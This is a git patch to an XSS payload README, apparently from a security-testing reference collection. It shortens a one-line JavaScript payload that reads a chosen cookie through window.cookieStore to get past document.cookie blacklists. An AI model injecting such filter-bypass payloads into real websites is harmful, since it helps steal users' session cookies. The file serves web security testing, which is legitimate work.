From f23f28c4e235ec35128a05ac8f5cf3af91cf13e3 Mon Sep 17 00:00:00 2001 From: Cory Cline Date: Thu, 13 Oct 2022 18:43:54 -0500 Subject: [PATCH] Shortened payload Shortened the document.cookie blacklist bypass payload. --- XSS Injection/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/XSS Injection/README.md b/XSS Injection/README.md index a079cf6..bbbaaf5 100644 --- a/XSS Injection/README.md +++ b/XSS Injection/README.md @@ -780,7 +780,7 @@ window["doc"+"ument"] This is another way to access cookies on Chrome, Edge, and Opera. Replace COOKIE NAME with the cookie you are after. You may also investigate the getAll() method if that suits your requirements. ``` -const cookiePromise=Promise.resolve(window.cookieStore.get('COOKIE NAME')).then((cookieValue)=>{console.log(cookieValue.value);}); +Promise.resolve(window.cookieStore.get('COOKIE NAME')).then((cookieValue)=>{console.log(cookieValue.value);}); ``` ### Bypass using javascript inside a string